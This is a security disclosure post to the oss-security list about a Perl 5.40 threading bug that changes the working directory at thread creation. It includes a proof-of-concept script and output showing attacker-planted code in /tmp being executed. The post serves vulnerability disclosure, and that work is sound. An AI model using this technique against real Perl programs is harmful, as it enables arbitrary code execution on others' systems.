Message-ID: <20250522171117.GA603991@cventin.lip.ens-lyon.fr>
Date: Thu, 22 May 2025 19:11:17 +0200
From: Vincent Lefevre <vincent@...c17.net>
To: oss-security@...ts.openwall.com
Subject: Perl 5.40 dir dup bug with threading: security consequences

Hi,

In February, I reported the following bug in perl:

  https://github.com/Perl/perl5/issues/23010

The issue is that under some conditions, perl temporarily changes
the current working directory at a thread creation, which affects
the other threads as a consequence: file accesses related to the
current working directory may actually be done related to another
directory.

Perl 5.40 and various earlier versions are affected; the bug was
introduced in 2010.

In the corresponding Debian bug

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1098226

the perl maintainer thinks that this is not regarded as a serious
security issue by upstream.

The following test shows that arbitrary code execution is a possible
consequence.

```
--------------------------------------------------------------------------
#!/usr/bin/env perl

use strict;
use threads;

@ARGV == 1 || @ARGV == 2 or die "Usage: $0 <dir> [ <maxthreads> ]\n";
my ($dir,$maxthreads) = @ARGV;

-d $dir or die "$0: $dir is not a directory\n";

if (defined $maxthreads)
  {
    $maxthreads =~ /^\d+$/ && $maxthreads >= 1 && $maxthreads <= 32
      or die "$0: maxthreads must be an integer between 1 and 32\n";
  }
else
  {
    $maxthreads = 2;
  }

my $nthreads = 0;

sub join_threads () {
  my @thr;
  0 until @thr = threads->list(threads::joinable);
  foreach my $thr (@thr)
    { $thr->join(); }
  $nthreads -= @thr;
}

opendir DIR, $dir or die "$0: opendir failed ($!)\n";
while (1)
  {
```

```
    $nthreads < $maxthreads or join_threads;
    $nthreads++ < $maxthreads or die "$0: internal error\n";
    threads->create(sub { do "./dir-dup-do" for (1..30) });
  }
closedir DIR or die "$0: closedir failed ($!)\n";
join_threads while $nthreads;
------------------------------------------------------------------------

Copy the above script to a directory regarded as trusted (i.e.
you control what's in it), and there, create a file "dir-dup-do",
which can contain just the integer 1 (simple Perl code that does
nothing). Then run this script with a directory name as the first
argument. Type Ctrl-C (intr key) to interrupt the script.

What happens is that perl sometimes tries to execute the dir-dup-do
code from the directory passed in argument (temporarily the current
working directory, internally) instead of the expected directory.

For instance:

$ ./dir-dup-test /
do "./dir-dup-do" failed, '.' is no longer in @INC; did you mean do "././dir-dup-do"? at ./dir-dup-test
line 43.
do "./dir-dup-do" failed, '.' is no longer in @INC; did you mean do "././dir-dup-do"? at ./dir-dup-test
line 43.
do "./dir-dup-do" failed, '.' is no longer in @INC; did you mean do "././dir-dup-do"? at ./dir-dup-test
line 43.
[...]

Here, the dir-dup-do file does not exist in /, so that one just gets
an error message. But if a file /tmp/dir-dup-do with contents

  warn "Err\n";

(code that an attacker could write) is created, one gets with /tmp
passed in argument:

$ ./dir-dup-test /tmp
Err
Err
Err
[...]

Note: it is possible to increase the number of threads by providing
the maximum number of worker threads as a second argument (the bug
is not visible with only 1 worker thread), in case the issue would
otherwise not be visible on some machines.

Any comment?

--
Vincent Lefèvre <vincent@...c17.net> - Web: <https://www.vinc17.net/>
100% accessible validated (X)HTML - Blog: <https://www.vinc17.net/blog/>
Work: CR INRIA - computer arithmetic / Pascaline project (LIP, ENS-Lyon)
```